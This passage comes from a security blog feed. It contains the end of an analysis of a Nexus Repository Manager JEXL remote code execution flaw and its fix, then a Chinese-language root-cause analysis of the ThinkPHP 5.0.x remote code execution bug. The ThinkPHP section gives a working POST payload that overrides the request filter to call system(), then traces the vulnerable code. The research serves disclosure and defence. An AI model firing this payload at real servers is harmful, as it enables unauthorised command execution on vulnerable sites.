<p>Pay attention to the comment: <code>whereClause</code> will run after repository filtering! We need to know how it is constructed. In the <code>components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/PreviewAssetsSqlBuilder.java:51</code> , which introduce <code>contentExpression</code> and <code>jexlExpression</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">PreviewAssetsSqlBuilder</span></span></div><div class="line">&#123;</div><div class="line">  ...</div><div class="line">  <span class="function"><span class="keyword">public</span> String <span class="title">buildWhereClause</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">return</span> whereClause(<span class="string">"contentExpression(@this, :jexlExpression, :repositorySelector, "</span> +</div><div class="line">        <span class="string">":repoToContainedGroupMap) == true"</span>, queryOptions.getFilter() != <span class="keyword">null</span>);</div><div class="line">  &#125;</div><div class="line">  ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>So after repository filtering，<code>whereClause</code> will run automatically which call <code>contentExpression.execute()</code> method 。In <code>components/nexus-repository/src/main/java/org/sonatype/nexus/repository/selector/internal/ContentExpressionFunction.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ContentExpressionFunction</span></span></div><div class="line">    <span class="keyword">extends</span> <span class="title">OSQLFunctionAbstract</span></div><div class="line">&#123;</div><div class="line">  <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String NAME = <span class="string">"contentExpression"</span>;</div><div class="line">  ...</div><div class="line">  <span class="meta">@Inject</span></div><div class="line">  <span class="function"><span class="keyword">public</span> <span class="title">ContentExpressionFunction</span><span class="params">(<span class="keyword">final</span> VariableResolverAdapterManager variableResolverAdapterManager,</span></span></div><div class="line">                                   <span class="keyword">final</span> SelectorManager selectorManager,</div><div class="line">                                   <span class="keyword">final</span> ContentAuthHelper contentAuthHelper)</div><div class="line">  &#123;</div><div class="line">    <span class="keyword">super</span>(NAME, <span class="number">4</span>, <span class="number">4</span>);</div><div class="line">    <span class="keyword">this</span>.variableResolverAdapterManager = checkNotNull(variableResolverAdapterManager);</div><div class="line">    <span class="keyword">this</span>.selectorManager = checkNotNull(selectorManager);</div><div class="line">    <span class="keyword">this</span>.contentAuthHelper = checkNotNull(contentAuthHelper);</div><div class="line">  &#125;</div><div class="line"></div><div class="line">  <span class="meta">@Override</span></div><div class="line">  <span class="function"><span class="keyword">public</span> Object <span class="title">execute</span><span class="params">(<span class="keyword">final</span> Object iThis,</span></span></div><div class="line">                        <span class="keyword">final</span> OIdentifiable iCurrentRecord,</div><div class="line">                        <span class="keyword">final</span> Object iCurrentResult,</div><div class="line">                        <span class="keyword">final</span> Object[] iParams,</div><div class="line">                        <span class="keyword">final</span> OCommandContext iContext)</div><div class="line">  &#123;</div><div class="line">    OIdentifiable identifiable = (OIdentifiable) iParams[<span class="number">0</span>];</div><div class="line">    <span class="comment">// asset </span></div><div class="line">    ODocument asset = identifiable.getRecord();</div><div class="line">    RepositorySelector repositorySelector = RepositorySelector.fromSelector((String) iParams[<span class="number">2</span>]);</div><div class="line">    <span class="comment">// jexlExpression 即 iParams[1]</span></div><div class="line">    String jexlExpression = (String) iParams[<span class="number">1</span>];</div><div class="line">    List&lt;String&gt; membersForAuth;</div><div class="line"></div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="keyword">return</span> contentAuthHelper.checkAssetPermissions(asset, membersForAuth.toArray(<span class="keyword">new</span> String[membersForAuth.size()])) &amp;&amp;</div><div class="line">        checkJexlExpression(asset, jexlExpression, asset.field(AssetEntityAdapter.P_FORMAT, String.class));</div><div class="line">  &#125;</div></pre></td></tr></table></figure></p>
<p>According to the code <code>contentExpression(@this, :jexlExpression, :repositorySelector, &quot; +&quot;:repoToContainedGroupMap) == true</code> , you can map contentExpression parameters  to  <code>iParams[i]</code>:</p>
<ul>
<li><code>@this</code> -&gt; <code>iParams[0]</code></li>
<li><code>jexlExpression</code> -&gt; <code>iParams[1]</code></li>
<li><code>repositorySelector</code> -&gt; <code>iParams[2]</code></li>
</ul>
<p>In last, it will call <code>checkJexlExpression()</code> method:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line">  ...</div><div class="line">  <span class="function"><span class="keyword">private</span> <span class="keyword">boolean</span> <span class="title">checkJexlExpression</span><span class="params">(<span class="keyword">final</span> ODocument asset,</span></span></div><div class="line">                                      <span class="keyword">final</span> String jexlExpression,</div><div class="line">                                      <span class="keyword">final</span> String format)</div><div class="line">  &#123;</div><div class="line">    VariableResolverAdapter variableResolverAdapter = variableResolverAdapterManager.get(format);</div><div class="line"></div><div class="line">    VariableSource variableSource = variableResolverAdapter.fromDocument(asset);</div><div class="line"></div><div class="line">    SelectorConfiguration selectorConfiguration = <span class="keyword">new</span> SelectorConfiguration();</div><div class="line"></div><div class="line">    selectorConfiguration.setAttributes(ImmutableMap.of(<span class="string">"expression"</span>, jexlExpression));</div><div class="line">    <span class="comment">// JexlSelector.TYPE which is defined as 'jexl'</span></div><div class="line">    selectorConfiguration.setType(JexlSelector.TYPE);</div><div class="line">    selectorConfiguration.setName(<span class="string">"preview"</span>);</div><div class="line"></div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">      <span class="comment">// evaluate!!!</span></div><div class="line">      <span class="keyword">return</span> selectorManager.evaluate(selectorConfiguration, variableSource);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">catch</span> (SelectorEvaluationException e) &#123;</div><div class="line">      log.debug(<span class="string">"Unable to evaluate expression &#123;&#125;."</span>, jexlExpression, e);</div><div class="line">      <span class="keyword">return</span> <span class="keyword">false</span>;</div><div class="line">    &#125;</div><div class="line">  &#125;</div><div class="line"></div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>So, we can step in <code>selectorManager.evaluate</code>，which is implemented in <code>components/nexus-core/src/main/java/org/sonatype/nexus/internal/selector/SelectorManagerImpl.java:156</code> ，and finally evaluate the expression:</p>
<pre><code class="lang-java">  @Override
  @Guarded(by = STARTED)
  public boolean evaluate(final SelectorConfiguration selectorConfiguration, final VariableSource variableSource)
      throws SelectorEvaluationException
  {

    Selector selector = createSelector(selectorConfiguration);

    try {

      return selector.evaluate(variableSource);
    }
    catch (Exception e) {
      throw new SelectorEvaluationException(&quot;Selector &#39;&quot; + selectorConfiguration.getName() + &quot;&#39; evaluation in error&quot;,
          e);
    }
  }
</code></pre>
<h1 id="Reproducible-steps"><a href="#Reproducible-steps" class="headerlink" title="Reproducible steps"></a>Reproducible steps</h1><p>According to DOCS：<br><a href="https://help.sonatype.com/repomanager3/configuration/repository-management#RepositoryManagement-CreatingaQuery" target="_blank" rel="external">https://help.sonatype.com/repomanager3/configuration/repository-management#RepositoryManagement-CreatingaQuery</a></p>
<p>To reproduce the issue successfully, we need upload some assets to the repo firstly。For excample, upload a jar:<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190218/3.jpg?raw=true" alt=""></p>
<p>Then go here to intercept  the request:<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190218/2.jpg?raw=true" alt=""></p>
<p>POC：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190218/4.gif?raw=true" alt=""></p>
<h1 id="Fix"><a href="#Fix" class="headerlink" title="Fix"></a>Fix</h1><p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190218/1.jpg?raw=true" alt=""></p>
<p>Add the permission requirement: <code>@RequiresPermissions(&#39;nexus:selectors:*&#39;)</code></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;中文版本：&lt;a href=&quot;https://xz.aliyun.com/t/4136&quot;&gt;chinese edition&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="java" scheme="http://chybeta.github.io/tags/java/"/>
    
      <category term="Nexus" scheme="http://chybeta.github.io/tags/Nexus/"/>
    
      <category term="RCE" scheme="http://chybeta.github.io/tags/RCE/"/>
    
  </entry>
  
  <entry>
    <title>ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析</title>
    <link href="http://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>http://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-漏洞分析/</id>
    <published>2019-01-13T01:32:42.000Z</published>
    <updated>2019-01-13T15:17:20.616Z</updated>
    
    <content type="html"><![CDATA[<p>2019年1月11日，ThinkPHP官方发布<a href="https://blog.thinkphp.cn/910675" target="_blank" rel="external">安全更新</a>，修复了一个GETSHELL漏洞。现分析如下。</p>
<a id="more"></a>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>以 thinkphp 5.0.22 完整版为例，下载地址：<a href="http://www.thinkphp.cn/down/1260.html" target="_blank" rel="external">http://www.thinkphp.cn/down/1260.html</a></p>
<p>未开启调试模式。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha</div><div class="line"></div><div class="line">POST:</div><div class="line"></div><div class="line">_method=__construct&amp;filter[]=system&amp;method=get&amp;get[]=whoami</div></pre></td></tr></table></figure>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/1.jpg?raw=true" alt=""></p>
<h1 id="漏洞分析之POC-1"><a href="#漏洞分析之POC-1" class="headerlink" title="漏洞分析之POC 1"></a>漏洞分析之POC 1</h1><p>先整体的看一下这个流程，tp程序从 <code>App.php</code>文件开始，其中截取部分如下：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line">* 执行应用程序</div><div class="line">* <span class="doctag">@access</span> public</div><div class="line">* <span class="doctag">@param</span>  Request $request 请求对象</div><div class="line">* <span class="doctag">@return</span> Response</div><div class="line">* <span class="doctag">@throws</span> Exception</div><div class="line">*/</div><div class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">run</span><span class="params">(Request $request = null)</span></span></div><div class="line">&#123;</div><div class="line">    $request = is_null($request) ? Request::instance() : $request;</div><div class="line"></div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        ...</div><div class="line">        <span class="comment">// 获取应用调度信息</span></div><div class="line">        $dispatch = <span class="keyword">self</span>::$dispatch;</div><div class="line"></div><div class="line">        <span class="comment">// 未设置调度信息则进行 URL 路由检测</span></div><div class="line">        <span class="keyword">if</span> (<span class="keyword">empty</span>($dispatch)) &#123;</div><div class="line">            $dispatch = <span class="keyword">self</span>::routeCheck($request, $config);</div><div class="line">        &#125;</div><div class="line">        ...</div><div class="line"></div><div class="line">        $data = <span class="keyword">self</span>::exec($dispatch, $config);</div><div class="line">    &#125; <span class="keyword">catch</span> (HttpResponseException $exception) &#123;</div><div class="line">        ...</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>在<code>App.php</code>中，会根据请求的URL调用<code>routeCheck</code>进行调度解析获得到<code>$dispatch</code>，之后将进入<code>exec($dispatch, $config)</code>根据<code>$dispatch</code>类型的不同来进行处理。</p>
<p>在payload中，访问的url为<code>index.php?s=captcha</code>。在<code>vendor/topthink/think-captcha/src/helper.php</code>中captcha注册了路由，</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/9.jpg?raw=true" alt=""></p>
<p>因此其对应的<code>dispatch</code>为<code>method</code>：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/10.jpg?raw=true" alt=""></p>
<p>一步步跟入，其调用栈如下：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/4.jpg?raw=true" alt=""></p>
<p>通过调用<code>Request</code>类中的<code>method</code>方法来获取当前的http请求类型，这里顺便贴一下该方法被调用之处：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/2.jpg?raw=true" alt=""></p>
<p>该函数的实现在 thinkphp/library/think/Request.php:512<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line">    * 当前的请求类型</div><div class="line">    * <span class="doctag">@access</span> public</div><div class="line">    * <span class="doctag">@param</span> bool $method  true 获取原始请求类型</div><div class="line">    * <span class="doctag">@return</span> string</div><div class="line">    */</div><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">method</span><span class="params">($method = false)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">true</span> === $method) &#123;</div><div class="line">        <span class="comment">// 获取原始请求类型</span></div><div class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;server(<span class="string">'REQUEST_METHOD'</span>) ?: <span class="string">'GET'</span>;</div><div class="line">    &#125; <span class="keyword">elseif</span> (!<span class="keyword">$this</span>-&gt;method) &#123;</div><div class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[Config::get(<span class="string">'var_method'</span>)])) &#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;method = strtoupper($_POST[Config::get(<span class="string">'var_method'</span>)]);</div><div class="line">            <span class="keyword">$this</span>-&gt;&#123;<span class="keyword">$this</span>-&gt;method&#125;($_POST);</div><div class="line">        &#125; <span class="keyword">elseif</span> (<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_X_HTTP_METHOD_OVERRIDE'</span>])) &#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;method = strtoupper($_SERVER[<span class="string">'HTTP_X_HTTP_METHOD_OVERRIDE'</span>]);</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;method = <span class="keyword">$this</span>-&gt;server(<span class="string">'REQUEST_METHOD'</span>) ?: <span class="string">'GET'</span>;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;method;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>在tp的默认中配置中设置了表单请求类型伪装变量如下<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/3.jpg?raw=true" alt=""></p>
<p>因此通过POST一个<code>_method</code>参数，即可进入判断，并执行<code>$this-&gt;{$this-&gt;method}($_POST)</code>语句。因此通过指定<code>_method</code>即可完成对该类的任意方法的调用，其传入对应的参数即对应的<code>$_POST</code>数组</p>
<p><code>Request</code>类的构造函数<code>__construct</code>代码如下<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($options = [])</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">foreach</span> ($options <span class="keyword">as</span> $name =&gt; $item) &#123;</div><div class="line">        <span class="keyword">if</span> (property_exists(<span class="keyword">$this</span>, $name)) &#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;$name = $item;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (is_null(<span class="keyword">$this</span>-&gt;filter)) &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;filter = Config::get(<span class="string">'default_filter'</span>);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">// 保存 php://input</span></div><div class="line">    <span class="keyword">$this</span>-&gt;input = file_get_contents(<span class="string">'php://input'</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>利用foreach循环，和POST传入数组即可对<code>Request</code>对象的成员属性进行覆盖。其中<code>$this-&gt;filter</code>保存着全局过滤规则。经过覆盖，相关变量变为：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">$this</div><div class="line">    method = &quot;get&quot;</div><div class="line">    get = &#123;array&#125; [0]</div><div class="line">        0 = dir</div><div class="line">    filter =  &#123;array&#125; [0]</div><div class="line">        0 = system</div></pre></td></tr></table></figure></p>
<p>注意我们请求的路由是<code>?s=captcha</code>，它对应的注册规则为<code>\think\Route::get</code>。在<code>method</code>方法结束后，返回的<code>$this-&gt;method</code>值应为<code>get</code>这样才能不出错，所以payload中有个<code>method=get</code>。在进行完路由检测后，执行<code>self::exec($dispatch, $config)</code>，在thinkphp/library/think/App.php:445，由于<code>$dispatch</code>值为<code>method</code>，将会进入如下分支:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">protected</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">exec</span><span class="params">($dispatch, $config)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">switch</span> ($dispatch[<span class="string">'type'</span>]) &#123;</div><div class="line">        ...</div><div class="line">        <span class="keyword">case</span> <span class="string">'method'</span>: <span class="comment">// 回调方法</span></div><div class="line">            $vars = array_merge(Request::instance()-&gt;param(), $dispatch[<span class="string">'var'</span>]);</div><div class="line">            $data = <span class="keyword">self</span>::invokeMethod($dispatch[<span class="string">'method'</span>], $vars);</div><div class="line">            <span class="keyword">break</span>;</div><div class="line">        ...</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> $data;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>Request::instance()-&gt;param()</code>，该方法用于处理请求中的各种参数。<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">param</span><span class="params">($name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;mergeParam)) &#123;</div><div class="line">        $method = <span class="keyword">$this</span>-&gt;method(<span class="keyword">true</span>);</div><div class="line">        ...</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">    <span class="comment">// 当前请求参数和URL地址中的参数合并</span></div><div class="line">    <span class="keyword">$this</span>-&gt;param      = array_merge(<span class="keyword">$this</span>-&gt;param, <span class="keyword">$this</span>-&gt;get(<span class="keyword">false</span>), $vars, <span class="keyword">$this</span>-&gt;route(<span class="keyword">false</span>));</div><div class="line">    <span class="keyword">$this</span>-&gt;mergeParam = <span class="keyword">true</span>;</div><div class="line">    ...</div><div class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;input(<span class="keyword">$this</span>-&gt;param, $name, $default, $filter);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>如上方法中<code>$this-&gt;param</code>通过<code>array_merge</code>将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过<code>__construct</code>设置了<code>$this-&gt;get</code>为<code>dir</code>。此后<code>$this-&gt;param</code>其值被设置为：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/5.jpg?raw=true" alt=""></p>
<p>继续跟入<code>$this-&gt;input</code>:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">input</span><span class="params">($data = [], $name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></div><div class="line">&#123;</div><div class="line">    ...</div><div class="line">    <span class="comment">// 解析过滤器</span></div><div class="line">    $filter = <span class="keyword">$this</span>-&gt;getFilter($filter, $default);</div><div class="line">    <span class="keyword">if</span> (is_array($data)) &#123;</div><div class="line">        array_walk_recursive($data, [<span class="keyword">$this</span>, <span class="string">'filterValue'</span>], $filter);</div><div class="line">        reset($data);</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>该方法用于对请求中的数据即接收到的参数进行过滤，而过滤器通过<code>$this-&gt;getFilter</code>获得：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getFilter</span><span class="params">($filter, $default)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (is_null($filter)) &#123;</div><div class="line">        $filter = [];</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        $filter = $filter ?: <span class="keyword">$this</span>-&gt;filter;</div><div class="line">        <span class="keyword">if</span> (is_string($filter) &amp;&amp; <span class="keyword">false</span> === strpos($filter, <span class="string">'/'</span>)) &#123;</div><div class="line">            $filter = explode(<span class="string">','</span>, $filter);</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            $filter = (<span class="keyword">array</span>) $filter;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    $filter[] = $default;</div><div class="line">    <span class="keyword">return</span> $filter;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>前面<code>$this-&gt;filter</code>已经被设置为<code>system</code>，所以<code>getFilter</code>返回后<code>$filter</code>值为：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/6.jpg?raw=true" alt=""></p>
<p>回到<code>input</code>函数，由于<code>$data</code>是前面传入的<code>$this-&gt;param</code>即数组，所以接着会调用<code>array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter)</code>，对<code>$data</code>中的每一个值调用<code>filterValue</code>函数，最终调用了<code>call_user_func</code>执行代码:</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/7.jpg?raw=true" alt=""></p>
<h1 id="扩展之POC-2"><a href="#扩展之POC-2" class="headerlink" title="扩展之POC 2"></a>扩展之POC 2</h1><p>回想前面的调用链，param -&gt; method -&gt; input -&gt; getFilter -&gt; rce。因为<code>filter</code>可控，而tp的逻辑会对输入即input进行<code>filter</code>过滤，所以重点是找到一个合理的<code>input</code>入口。</p>
<p>回到<code>param</code>方法：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">param</span><span class="params">($name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;mergeParam)) &#123;</div><div class="line">        $method = <span class="keyword">$this</span>-&gt;method(<span class="keyword">true</span>);</div><div class="line">        ...</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>$this-&gt;method(true)</code>注意此时的参数为<code>true</code>，所以此处会进入第一个分支:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">method</span><span class="params">($method = false)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">true</span> === $method) &#123;</div><div class="line">        <span class="comment">// 获取原始请求类型</span></div><div class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;server(<span class="string">'REQUEST_METHOD'</span>) ?: <span class="string">'GET'</span>;</div><div class="line">    &#125;</div><div class="line">    ... </div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>继续跟入<code>$this-&gt;server</code>，可以发现这里也有一个<code>input</code>!<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">server</span><span class="params">($name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;server)) &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;server = $_SERVER;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (is_array($name)) &#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;server = array_merge(<span class="keyword">$this</span>-&gt;server, $name);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;input(<span class="keyword">$this</span>-&gt;server, <span class="keyword">false</span> === $name ? <span class="keyword">false</span> : strtoupper($name), $default, $filter);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
